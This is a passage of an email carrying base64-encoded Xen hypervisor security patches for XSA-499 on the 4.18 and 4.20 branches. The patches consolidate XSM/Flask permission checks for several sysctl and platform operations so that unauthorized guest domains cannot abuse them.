--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-4.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-4.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvRmxhc2s6IGFkZCBwcmVsaW1pbmFyeSBjaGVjayBmb3IgWEVO
X1NZU0NUTF9nZXRkb21haW5pbmZvbGlzdAoKVG8gc2hpZWxkIHRoZSBzeXNj
dGwgbG9jayBmcm9tIGFidXNlIGJ5IHVuYXV0aG9yaXplZCBkb21haW5zLCBm
b2xsb3cgd2hhdAo1MTU0ZmRkYTExMjQgKCJkb21jdGw6IHByb3RlY3QgbG9j
a2luZyBmb3IgZ2V0X2RvbWFpbl9zdGF0ZSIpIGRpZDogQ2hlY2sKZm9yIHBl
cm1pc3Npb24gdG8gaXNzdWUgdGhlIG9wZXJhdGlvbiBhZ2FpbnN0IERPTV9Y
RU4gaW4gZmxhc2tfc3lzY3RsKCkuClRoZSBmaW5lci1ncmFpbmVkIHhzbV9n
ZXRkb21haW5pbmZvKCkgbGF0ZXIgaW4gdGhlIGhhbmRsaW5nIG9mIHRoZSBz
dWItb3AKcmVtYWlucyB1bmFsdGVyZWQuCgpJbiB0aGUgaW4tdHJlZSBwb2xp
Y3kgcmVzcGVjdGl2ZSBwZXJtaXNzaW9uIHRoZXJlZm9yZSBuZWV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hlc2UgaGF2ZSBpbmRpdmlkdWFsIFhTTSBo
b29rcyAqLwogICAgIGNhc2UgWEVOX1NZU0NUTF9yZWFkY29uc29sZToKLSAg
ICBjYXNlIFhFTl9TWVNDVExfZ2V0ZG9tYWluaW5mb2xpc3Q6CiAgICAgY2Fz
ZSBYRU5fU1lTQ1RMX3BhZ2Vfb2ZmbGluZV9vcDoKICNpZmRlZiBDT05GSUdf
WDg2CiAgICAgY2FzZSBYRU5fU1lTQ1RMX2NwdV9ob3RwbHVnOgpAQCAtOTQ1
LDYgKzk0NCw5IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfc3lzY3Rs
KGNvbnN0IHMKICAgICBjYXNlIFhFTl9TWVNDVExfZ2V0X2NwdV9wb2xpY3k6
CiAgICAgICAgIHJldHVybiBkb21haW5faGFzX3hlbihjdXJyZW50LT5kb21h
aW4sIFhFTl9fUEhZU0lORk8pOwogCisgICAgY2FzZSBYRU5fU1lTQ1RMX2dl
dGRvbWFpbmluZm9saXN0OgorICAgICAgICByZXR1cm4gZmxhc2tfZ2V0ZG9t
YWluaW5mbyhkb21feGVuKTsKKwogICAgIGNhc2UgWEVOX1NZU0NUTF9wc3Jf
Y210X29wOgogICAgICAgICByZXR1cm4gYXZjX2N1cnJlbnRfaGFzX3Blcm0o
U0VDSU5JVFNJRF9YRU4sIFNFQ0NMQVNTX1hFTjIsCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBYRU4yX19QU1JfQ01UX09QLCBOVUxM
KTsK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-5.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-5.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZWFkY29uc29sZSgpIGhvb2sKCkludGVn
cmF0ZSB0aGUgY2hlY2tpbmcgd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AgICAgPSB4c21fZXZ0Y2huX2ludGVyZG9tYWluLAot
LS0gYS94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKKysrIGIveGVuL3hzbS9mbGFz
ay9ob29rcy5jCkBAIC04OTcsMTMgKzg5NywxOCBAQCBzdGF0aWMgaW50IGNm
X2NoZWNrIGZsYXNrX3N5c2N0bChjb25zdCBzCiAgICAgc3dpdGNoICggb3At
PmNtZCApCiAgICAgewogICAgIC8qIFRoZXNlIGhhdmUgaW5kaXZpZHVhbCBY
U00gaG9va3MgKi8KLSAgICBjYXNlIFhFTl9TWVNDVExfcmVhZGNvbnNvbGU6
CiAgICAgY2FzZSBYRU5fU1lTQ1RMX3BhZ2Vfb2ZmbGluZV9vcDoKICNpZmRl
ZiBDT05GSUdfWDg2CiAgICAgY2FzZSBYRU5fU1lTQ1RMX2NwdV9ob3RwbHVn
OgogI2VuZGlmCiAgICAgICAgIHJldHVybiAwOwogCisgICAgY2FzZSBYRU5f
U1lTQ1RMX3JlYWRjb25zb2xlOgorICAgICAgICByZXR1cm4gZG9tYWluX2hh
c194ZW4oY3VycmVudC0+ZG9tYWluLAorICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgWEVOX19SRUFEQ09OU09MRSB8CisgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAob3AtPnUucmVhZGNvbnNvbGUuY2xlYXIgPyBYRU5f
X0NMRUFSQ09OU09MRQorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDogMCkpOworCiAgICAgY2FzZSBY
RU5fU1lTQ1RMX3RidWZfb3A6CiAgICAgICAgIHJldHVybiBkb21haW5faGFz
X3hlbihjdXJyZW50LT5kb21haW4sIFhFTl9fVEJVRkNPTlRST0wpOwogCkBA
IC05NzQsMTYgKzk3OSw2IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tf
c3lzY3RsKGNvbnN0IHMKICAgICB9CiB9CiAKLXN0YXRpYyBpbnQgY2ZfY2hl
Y2sgZmxhc2tfcmVhZGNvbnNvbGUodWludDMyX3QgY2xlYXIpCi17Ci0gICAg
dWludDMyX3QgcGVybXMgPSBYRU5fX1JFQURDT05TT0xFOwotCi0gICAgaWYg
KCBjbGVhciApCi0gICAgICAgIHBlcm1zIHw9IFhFTl9fQ0xFQVJDT05TT0xF
OwotCi0gICAgcmV0dXJuIGRvbWFpbl9oYXNfeGVuKGN1cnJlbnQtPmRvbWFp
biwgcGVybXMpOwotfQotCiBzdGF0aWMgaW5saW5lIHVpbnQzMl90IHJlc291
cmNlX3RvX3Blcm0odWludDhfdCBhY2Nlc3MpCiB7CiAgICAgaWYgKCBhY2Nl
c3MgKQpAQCAtMTkwOSw3ICsxOTA0LDYgQEAgc3RhdGljIGNvbnN0IHN0cnVj
dCB4c21fb3BzIF9faW5pdGNvbnN0XwogICAgIC5zZXRfdGFyZ2V0ID0gZmxh
c2tfc2V0X3RhcmdldCwKICAgICAuZG9tY3RsID0gZmxhc2tfZG9tY3RsLAog
ICAgIC5zeXNjdGwgPSBmbGFza19zeXNjdGwsCi0gICAgLnJlYWRjb25zb2xl
ID0gZmxhc2tfcmVhZGNvbnNvbGUsCiAKICAgICAuZXZ0Y2huX3VuYm91bmQg
PSBmbGFza19ldnRjaG5fdW5ib3VuZCwKICAgICAuZXZ0Y2huX2ludGVyZG9t
YWluID0gZmxhc2tfZXZ0Y2huX2ludGVyZG9tYWluLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-6.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-6.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZXNvdXJjZV97LHVufXBsdWdfY29yZSgp
IGhvb2tzCgpJbnRlZ3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0
bCgpLCBub3cgd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fQ1BV
X0hPVFBMVUdfT05MSU5FOgotICAgICAgICAgICAgcGx1ZyA9IHRydWU7CiAg
ICAgICAgICAgICBmbiA9IGNwdV91cF9oZWxwZXI7CiAgICAgICAgICAgICBo
Y3B1ID0gX3AoY3B1KTsKICAgICAgICAgICAgIGJyZWFrOwogCiAgICAgICAg
IGNhc2UgWEVOX1NZU0NUTF9DUFVfSE9UUExVR19PRkZMSU5FOgotICAgICAg
ICAgICAgcGx1ZyA9IGZhbHNlOwogICAgICAgICAgICAgZm4gPSBjcHVfZG93
bl9oZWxwZXI7CiAgICAgICAgICAgICBoY3B1ID0gX3AoY3B1KTsKICAgICAg
ICAgICAgIGJyZWFrOwpAQCAtMTUwLDkgKzE0Nyw4IEBAIGxvbmcgYXJjaF9k
b19zeXNjdGwoCiAgICAgICAgICAgICBpZiAoIENPTkZJR19OUl9DUFVTIDw9
IDEgKQogICAgICAgICAgICAgICAgIC8qIE1pbWljIGJlaGF2aW9yIG9mIHNt
dF91cF9kb3duX2hlbHBlcigpLiAqLwogICAgICAgICAgICAgICAgIHJldHVy
biAwOwotICAgICAgICAgICAgcGx1ZyA9IG9wID09IFhFTl9TWVNDVExfQ1BV
X0hPVFBMVUdfU01UX0VOQUJMRTsKICAgICAgICAgICAgIGZuID0gc210X3Vw
X2Rvd25faGVscGVyOwotICAgICAgICAgICAgaGNwdSA9IF9wKHBsdWcpOwor
ICAgICAgICAgICAgaGNwdSA9IF9wKG9wID09IFhFTl9TWVNDVExfQ1BVX0hP
VFBMVUdfU01UX0VOQUJMRSk7CiAgICAgICAgICAgICBicmVhazsKIAogICAg
ICAgICBkZWZhdWx0OgpAQCAtMTYxLDEwICsxNTcsNiBAQCBsb25nIGFyY2hf
ZG9fc3lzY3RsKAogICAgICAgICB9CiAKICAgICAgICAgaWYgKCAhcmV0ICkK
LSAgICAgICAgICAgIHJldCA9IHBsdWcgPyB4c21fcmVzb3VyY2VfcGx1Z19j
b3JlKFhTTV9IT09LKQotICAgICAgICAgICAg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kNFX19VTlBMVUcsIE5V
TEwpOwogfQpAQCAtMTk1NSw4ICsxOTcyLDYgQEAgc3RhdGljIGNvbnN0IHN0
cnVjdCB4c21fb3BzIF9faW5pdGNvbnN0XwogICAgIC5pb21lbV9tYXBwaW5n
X3ZwY2kgPSBmbGFza19pb21lbV9tYXBwaW5nLAogICAgIC5wY2lfY29uZmln
X3Blcm1pc3Npb24gPSBmbGFza19wY2lfY29uZmlnX3Blcm1pc3Npb24sCiAK
LSAgICAucmVzb3VyY2VfcGx1Z19jb3JlID0gZmxhc2tfcmVzb3VyY2VfcGx1
Z19jb3JlLAotICAgIC5yZXNvdXJjZV91bnBsdWdfY29yZSA9IGZsYXNrX3Jl
c291cmNlX3VucGx1Z19jb3JlLAogICAgIC5yZXNvdXJjZV9wbHVnX3BjaSA9
IGZsYXNrX3Jlc291cmNlX3BsdWdfcGNpLAogICAgIC5yZXNvdXJjZV91bnBs
dWdfcGNpID0gZmxhc2tfcmVzb3VyY2VfdW5wbHVnX3BjaSwKICAgICAucmVz
b3VyY2Vfc2V0dXBfcGNpID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBfcGNpLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-7.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-7.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5wYWdlX29mZmxpbmUoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
dGl2ZSBzaWRlIGVmZmVjdCwgcGVybWlzc2lvbnMgYXJlIHRoZW4gY2hlY2tl
ZCBhdAp0aGUgc2FtZSBlYXJseSBwb2ludCB3aXRoIGF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v
bmxpbmU6Ci0gICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV9wbHVnX2Nv
cmUoKTsKLSAgICBjYXNlIHN5c2N0bF9xdWVyeV9wYWdlX29mZmxpbmU6Ci0g
ICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV91c2VfY29yZSgpOwotICAg
IGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJtaXNz
aW9uKCJwYWdlX29mZmxpbmUiLCBjbWQpOwotICAgIH0KLX0KLQogc3RhdGlj
IGlubGluZSBpbnQgY2ZfY2hlY2sgZmxhc2tfaHlwZnNfb3Aodm9pZCkKIHsK
ICAgICByZXR1cm4gZG9tYWluX2hhc194ZW4oY3VycmVudC0+ZG9tYWluLCBY
RU5fX0hZUEZTX09QKTsKQEAgLTE5NzgsNyArMTk3Nyw2IEBAIHN0YXRpYyBj
b25zdCBzdHJ1Y3QgeHNtX29wcyBfX2luaXRjb25zdF8KICAgICAucmVzb3Vy
Y2Vfc2V0dXBfZ3NpID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBfZ3NpLAogICAg
IC5yZXNvdXJjZV9zZXR1cF9taXNjID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBf
bWlzYywKIAotICAgIC5wYWdlX29mZmxpbmUgPSBmbGFza19wYWdlX29mZmxp
bmUsCiAgICAgLmh5cGZzX29wID0gZmxhc2tfaHlwZnNfb3AsCiAgICAgLmh2
bV9wYXJhbSA9IGZsYXNrX2h2bV9wYXJhbSwKICAgICAuaHZtX3BhcmFtX2Fs
dHAybWh2bSA9IGZsYXNrX2h2bV9wYXJhbV9hbHRwMm1odm0sCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-1.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-1.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBwbGF0Zm9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gICAgaWYgKCByZXQg
KQotICAgICAgICAgICAgYnJlYWs7Ci0KICAgICAgICAgaWYgKCBjcHUgPj0g
bnJfY3B1X2lkcyB8fCAhY3B1X3ByZXNlbnQoY3B1KSB8fAogICAgICAgICAg
ICAgIGNsb2Nrc291cmNlX2lzX3RzYygpICkKICAgICAgICAgewpAQCAtNzA4
LDEwICs3MDQsNiBAQCByZXRfdCBkb19wbGF0Zm9ybV9vcCgKICAgICB7CiAg
ICAgICAgIGludCBjcHUgPSBvcC0+dS5jcHVfb2wuY3B1aWQ7CiAKLSAgICAg
ICAgcmV0ID0geHNtX3Jlc291cmNlX3VucGx1Z19jb3JlKFhTTV9IT09LKTsK
LSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAgICAgYnJlYWs7Ci0KICAg
ICAgICAgaWYgKCBjcHUgPT0gMCApCiAgICAgICAgIHsKICAgICAgICAgICAg
IHJldCA9IC1FT1BOT1RTVVBQOwpAQCAtNzM2LDIwICs3MjgsMTIgQEAgcmV0
X3QgZG9fcGxhdGZvcm1fb3AoCiAgICAgfQogCiAgICAgY2FzZSBYRU5QRl9j
cHVfaG90YWRkOgotICAgICAgICByZXQgPSB4c21fcmVzb3VyY2VfcGx1Z19j
b3JlKFhTTV9IT09LKTsKLSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAg
ICAgYnJlYWs7Ci0KICAgICAgICAgcmV0ID0gY3B1X2FkZChvcC0+dS5jcHVf
YWRkLmFwaWNfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgb3AtPnUuY3B1
X2FkZC5hY3BpX2lkLAogICAgICAgICAgICAgICAgICAgICAgIG9wLT51LmNw
dV9hZGQucHhtKTsKICAgICAgICAgYnJlYWs7CiAKICAgICBjYXNlIFhFTlBG
X21lbV9ob3RhZGQ6Ci0gICAgICAgIHJldCA9IHhzbV9yZXNvdXJjZV9wbHVn
X2NvcmUoWFNNX0hPT0spOwotICAgICAgICBpZiAoIHJldCApCi0gICAgICAg
ICAgICBicmVhazsKLQogICAgICAgICByZXQgPSBtZW1vcnlfYWRkKG9wLT51
Lm1lbV9hZGQuc3BmbiwKICAgICAgICAgICAgICAgICAgICAgICBvcC0+dS5t
ZW1fYWRkLmVwZm4sCiAgICAgICAgICAgICAgICAgICAgICAgb3AtPnUubWVt
X2FkZC5weG0pOwotLS0gYS94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKKysrIGIv
eGVuL3hzbS9mbGFzay9ob29rcy5jCkBAIC0xNTY0LDEyICsxNTY0LDEzIEBA
IHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfcGxhdGZvcm1fb3AodWkKICAg
ICBzd2l0Y2ggKCBvcCApCiAgICAgewogI2lmZGVmIENPTkZJR19YODYKLSAg
ICAvKiBUaGVzZSBvcGVyYXRpb25zIGhhdmUgdGhlaXIgb3duIFhTTSBob29r
cyAqLwogICAgIGNhc2UgWEVOUEZfY3B1X29ubGluZToKLSAgICBjYXNlIFhF
TlBGX2NwdV9vZmZsaW5lOgogICAgIGNhc2UgWEVOUEZfY3B1X2hvdGFkZDoK
ICAgICBjYXNlIFhFTlBGX21lbV9ob3RhZGQ6Ci0gICAgICAgIHJldHVybiAw
OworICAgICAgICByZXR1cm4gZmxhc2tfcmVzb3VyY2VfcGx1Z19jb3JlKCk7
CisKKyAgICBjYXNlIFhFTlBGX2NwdV9vZmZsaW5lOgorICAgICAgICByZXR1
cm4gZmxhc2tfcmVzb3VyY2VfdW5wbHVnX2NvcmUoKTsKICNlbmRpZgogCiAg
ICAgY2FzZSBYRU5QRl9zZXR0aW1lMzI6Cg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-2.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-2.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBwYXNzIGZ1bGwgc3RydWN0IHhlbl9zeXNjdGwgdG8g
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gICAgICAgIFhFTjJfX0NPVkVSQUdFX09QLCBOVUxMKTsKIAog
ICAgIGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJt
aXNzaW9uKCJzeXNjdGwiLCBjbWQpOworICAgICAgICByZXR1cm4gYXZjX3Vu
a25vd25fcGVybWlzc2lvbigic3lzY3RsIiwgb3AtPmNtZCk7CiAgICAgfQog
fQogCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-3.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-3.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5zY2hlZHVsZXJfb3AoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
dGl2ZSBzaWRlIGVmZmVjdCwgcGVybWlzc2lvbnMgYXJlIHRoZW4gY2hlY2tl
ZCBhdAp0aGUgc2FtZSBlYXJseSBwb2ludCB3aXRoIGFuZCB3aXRob3V0IEZs
YXNrLgoKVGhpcyBpcyBwYXJ0IG9mIENWRS0yMDI2LTYyNDI2IC8gWFNBLTQ5
OS4KClNpZ25lZC1vZmYtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNl
LmNvbT4KUmV2aWV3ZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5jb29w
ZXIzQGNpdHJpeC5jb20+CkFja2VkLUJ5OiBEYW5pZWwgUC4gU21pdGggPGRw
c21pdGhAYXBlcnR1c3NvbHV0aW9ucy5jb20+CgotLS0gYS94ZW4vY29tbW9u
L3NjaGVkL2NvcmUuYworKysgYi94ZW4vY29tbW9uL3NjaGVkL2NvcmUuYwpA
QCA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XRkb21haW5pbmZvLAotICAgIC5zeXNjdGxfc2NoZWR1bGVyX29wID0gZmxh
c2tfc3lzY3RsX3NjaGVkdWxlcl9vcCwKICAgICAuc2V0X3RhcmdldCA9IGZs
YXNrX3NldF90YXJnZXQsCiAgICAgLmRvbWN0bCA9IGZsYXNrX2RvbWN0bCwK
ICAgICAuc3lzY3RsID0gZmxhc2tfc3lzY3RsLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-4.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-4.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvRmxhc2s6IGFkZCBwcmVsaW1pbmFyeSBjaGVjayBmb3IgWEVO
X1NZU0NUTF9nZXRkb21haW5pbmZvbGlzdAoKVG8gc2hpZWxkIHRoZSBzeXNj
dGwgbG9jayBmcm9tIGFidXNlIGJ5IHVuYXV0aG9yaXplZCBkb21haW5zLCBm
b2xsb3cgd2hhdAo1MTU0ZmRkYTExMjQgKCJkb21jdGw6IHByb3RlY3QgbG9j
a2luZyBmb3IgZ2V0X2RvbWFpbl9zdGF0ZSIpIGRpZDogQ2hlY2sKZm9yIHBl
cm1pc3Npb24gdG8gaXNzdWUgdGhlIG9wZXJhdGlvbiBhZ2FpbnN0IERPTV9Y
RU4gaW4gZmxhc2tfc3lzY3RsKCkuClRoZSBmaW5lci1ncmFpbmVkIHhzbV9n
ZXRkb21haW5pbmZvKCkgbGF0ZXIgaW4gdGhlIGhhbmRsaW5nIG9mIHRoZSBz
dWItb3AKcmVtYWlucyB1bmFsdGVyZWQuCgpJbiB0aGUgaW4tdHJlZSBwb2xp
Y3kgcmVzcGVjdGl2ZSBwZXJtaXNzaW9uIHRoZXJlZm9yZSBuZWVkcyBncmFu
dGluZy4KClRoaXMgaXMgcGFydCBvZiBDVkUtMjAyNi02MjQyNiAvIFhTQS00
OTkuCgpTaW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ZWFkY29uc29sZToKLSAg
ICBjYXNlIFhFTl9TWVNDVExfZ2V0ZG9tYWluaW5mb2xpc3Q6CiAgICAgY2Fz
ZSBYRU5fU1lTQ1RMX3BhZ2Vfb2ZmbGluZV9vcDoKICNpZmRlZiBDT05GSUdf
WDg2CiAgICAgY2FzZSBYRU5fU1lTQ1RMX2NwdV9ob3RwbHVnOgpAQCAtOTU0
LDYgKzk1Myw5IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfc3lzY3Rs
KGNvbnN0IHMKICAgICBjYXNlIFhFTl9TWVNDVExfZ2V0X2NwdV9wb2xpY3k6
CiAgICAgICAgIHJldHVybiBkb21haW5faGFzX3hlbihjdXJyZW50LT5kb21h
aW4sIFhFTl9fUEhZU0lORk8pOwogCisgICAgY2FzZSBYRU5fU1lTQ1RMX2dl
dGRvbWFpbmluZm9saXN0OgorICAgICAgICByZXR1cm4gZmxhc2tfZ2V0ZG9t
YWluaW5mbyhkb21feGVuKTsKKwogICAgIGNhc2UgWEVOX1NZU0NUTF9wc3Jf
Y210X29wOgogICAgICAgICByZXR1cm4gYXZjX2N1cnJlbnRfaGFzX3Blcm0o
U0VDSU5JVFNJRF9YRU4sIFNFQ0NMQVNTX1hFTjIsCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBYRU4yX19QU1JfQ01UX09QLCBOVUxM
KTsK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-5.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-5.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZWFkY29uc29sZSgpIGhvb2sKCkludGVn
cmF0ZSB0aGUgY2hlY2tpbmcgd2l0aCB4c21fc3lzY3RsKCksIG5vdyB0aGF0
IGl0IGhhcyB0aGUgZnVsbCBvcApzdHJ1Y3QgcGF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ludDMyX3QgcGVybXMgPSBYRU5fX1JFQURDT05TT0xFOwotCi0gICAgaWYg
KCBjbGVhciApCi0gICAgICAgIHBlcm1zIHw9IFhFTl9fQ0xFQVJDT05TT0xF
OwotCi0gICAgcmV0dXJuIGRvbWFpbl9oYXNfeGVuKGN1cnJlbnQtPmRvbWFp
biwgcGVybXMpOwotfQotCiBzdGF0aWMgaW5saW5lIHVpbnQzMl90IHJlc291
cmNlX3RvX3Blcm0odWludDhfdCBhY2Nlc3MpCiB7CiAgICAgaWYgKCBhY2Nl
c3MgKQpAQCAtMTkyMyw3ICsxOTE4LDYgQEAgc3RhdGljIGNvbnN0IHN0cnVj
dCB4c21fb3BzIF9faW5pdGNvbnN0XwogICAgIC5zZXRfdGFyZ2V0ID0gZmxh
c2tfc2V0X3RhcmdldCwKICAgICAuZG9tY3RsID0gZmxhc2tfZG9tY3RsLAog
ICAgIC5zeXNjdGwgPSBmbGFza19zeXNjdGwsCi0gICAgLnJlYWRjb25zb2xl
ID0gZmxhc2tfcmVhZGNvbnNvbGUsCiAKICAgICAuZXZ0Y2huX3VuYm91bmQg
PSBmbGFza19ldnRjaG5fdW5ib3VuZCwKICAgICAuZXZ0Y2huX2ludGVyZG9t
YWluID0gZmxhc2tfZXZ0Y2huX2ludGVyZG9tYWluLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-6.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-6.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZXNvdXJjZV97LHVufXBsdWdfY29yZSgp
IGhvb2tzCgpJbnRlZ3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0
bCgpLCBub3cgdGhhdCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3Nl
ZC4gQXMgYSBwb3NpdGl2ZSBz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AgICAgICAgZm4gPSBjcHVfdXBfaGVscGVyOwogICAgICAgICAg
ICAgaGNwdSA9IF9wKGNwdSk7CiAgICAgICAgICAgICBicmVhazsKIAogICAg
ICAgICBjYXNlIFhFTl9TWVNDVExfQ1BVX0hPVFBMVUdfT0ZGTElORToKLSAg
ICAgICAgICAgIHBsdWcgPSBmYWxzZTsKICAgICAgICAgICAgIGZuID0gY3B1
X2Rvd25faGVscGVyOwogICAgICAgICAgICAgaGNwdSA9IF9wKGNwdSk7CiAg
ICAgICAgICAgICBicmVhazsKQEAgLTE1MCw5ICsxNDcsOCBAQCBsb25nIGFy
Y2hfZG9fc3lzY3RsKAogICAgICAgICAgICAgaWYgKCBDT05GSUdfTlJfQ1BV
UyA8PSAxICkKICAgICAgICAgICAgICAgICAvKiBNaW1pYyBiZWhhdmlvciBv
ZiBzbXRfdXBfZG93bl9oZWxwZXIoKS4gKi8KICAgICAgICAgICAgICAgICBy
ZXR1cm4gMDsKLSAgICAgICAgICAgIHBsdWcgPSBvcCA9PSBYRU5fU1lTQ1RM
X0NQVV9IT1RQTFVHX1NNVF9FTkFCTEU7CiAgICAgICAgICAgICBmbiA9IHNt
dF91cF9kb3duX2hlbHBlcjsKLSAgICAgICAgICAgIGhjcHUgPSBfcChwbHVn
KTsKKyAgICAgICAgICAgIGhjcHUgPSBfcChvcCA9PSBYRU5fU1lTQ1RMX0NQ
VV9IT1RQTFVHX1NNVF9FTkFCTEUpOwogICAgICAgICAgICAgYnJlYWs7CiAK
ICAgICAgICAgZGVmYXVsdDoKQEAgLTE2MSwxMCArMTU3LDYgQEAgbG9uZyBh
cmNoX2RvX3N5c2N0bCgKICAgICAgICAgfQogCiAgICAgICAgIGlmICggIXJl
dCApCi0gICAgICAgICAgICByZXQgPSBwbHVnID8geHNtX3Jlc291cmNlX3Bs
dWdfY29yZShYU01fSE9PSykKLSAgICAgICAgICAgICAgICAgICAgICAgOiB4
c21fcmVzb3VyY2VfdW5wbHVnX2NvcmUoWFNNX0hPT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5NjksOCArMTk4Niw2IEBAIHN0YXRpYyBjb25z
dCBzdHJ1Y3QgeHNtX29wcyBfX2luaXRjb25zdF8KICAgICAuaW9tZW1fbWFw
cGluZ192cGNpID0gZmxhc2tfaW9tZW1fbWFwcGluZywKICAgICAucGNpX2Nv
bmZpZ19wZXJtaXNzaW9uID0gZmxhc2tfcGNpX2NvbmZpZ19wZXJtaXNzaW9u
LAogCi0gICAgLnJlc291cmNlX3BsdWdfY29yZSA9IGZsYXNrX3Jlc291cmNl
X3BsdWdfY29yZSwKLSAgICAucmVzb3VyY2VfdW5wbHVnX2NvcmUgPSBmbGFz
a19yZXNvdXJjZV91bnBsdWdfY29yZSwKICAgICAucmVzb3VyY2VfcGx1Z19w
Y2kgPSBmbGFza19yZXNvdXJjZV9wbHVnX3BjaSwKICAgICAucmVzb3VyY2Vf
dW5wbHVnX3BjaSA9IGZsYXNrX3Jlc291cmNlX3VucGx1Z19wY2ksCiAgICAg
LnJlc291cmNlX3NldHVwX3BjaSA9IGZsYXNrX3Jlc291cmNlX3NldHVwX3Bj
aSwK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.20-7.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.20-7.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5wYWdlX29mZmxpbmUoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
